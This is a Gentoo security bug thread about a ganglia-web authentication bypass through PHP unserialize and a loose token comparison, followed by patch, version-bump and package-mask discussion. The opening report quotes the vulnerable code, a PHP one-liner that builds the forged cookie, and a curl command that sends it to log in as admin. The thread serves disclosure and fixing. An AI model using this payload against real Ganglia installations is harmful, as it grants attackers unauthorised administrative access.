From ${URL} : It's easy to bypass auth by using boolean serialization like this: $ php -r "echo urlencode(serialize(array('user'=>'admin', 'group'=>'admin', 'token'=>true)));" Vulnerable code listed below: https://github.com/ganglia/ganglia-web/blob/4e98ea69e0e18b388cdc73809ce54843a16ff87b/lib/GangliaAuth.php#L34-L46 if(isSet($_COOKIE['ganglia_auth'])) { $cookie = $_COOKIE['ganglia_auth']; // magic quotes will break unserialization if($this->getMagicQuotesGpc()) { $cookie = stripslashes($cookie); } $data = unserialize($cookie); if(array_keys($data) != array('user','group','token')) { return false; } if($this->getAuthToken($data['user']) == $data['token']) { // Found by d90.andrew // Exploit: curl -H 'Cookie: a%3A3%3A%7Bs%3A4%3A%22user%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22group%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22token%22%3Bb%3A1%3B%7D' http://ganglia.local/ganglia/ @maintainer(s): after the bump, in case we need to stabilize the package, please let us know if it is ready for the stabilization or not.
Upstream bug: https://github.com/ganglia/ganglia-web/issues/267 Upstream patch: https://github.com/ganglia/ganglia-web/commit/f8cc17054270d54f53d92bbe3f7764dc3d9efcc7 @ Maintainer(s): Please bump to >=sys-cluster/ganglia-web-3.7.1
PMASKED for removal via https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=66a3c8edba15cb0eccf125b74250f1baeeab15d1
I have had updated versions of this package in my junkdrawer overlay for more than a year. I'm interested in proxy maintaining it so it doesn't get removed.
I will CC proxy-maint people then. Anyway, sending a pull request will probably speed up things over telling them to look at your overlay I think :/ https://wiki.gentoo.org/wiki/Project:Proxy_Maintainers
The bug has been referenced in the following commit(s): https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=144acff1e4c6db1ba4823bf35c820acd0570d903 commit 144acff1e4c6db1ba4823bf35c820acd0570d903 Author: Daniel M. Weeks <dan@danweeks.net> AuthorDate: 2018-03-24 16:45:31 +0000 Commit: Justin Bronder <jsbronder@gentoo.org> CommitDate: 2018-03-28 14:25:08 +0000 sys-cluster/ganglia-web: version bump 3.7.3 Bug: https://bugs.gentoo.org/592080 Bug: https://bugs.gentoo.org/559658 Package-Manager: Portage-2.3.24, Repoman-2.3.6 sys-cluster/ganglia-web/Manifest | 1 + sys-cluster/ganglia-web/ganglia-web-3.7.3.ebuild | 49 ++++++++++++++++++++++++ 2 files changed, 50 insertions(+)}
Fixed by Daniel. Thanks!
Oops, shouldn't have closed. Sorry security team.
GLSA Vote: No Tree is clean. Thanks!
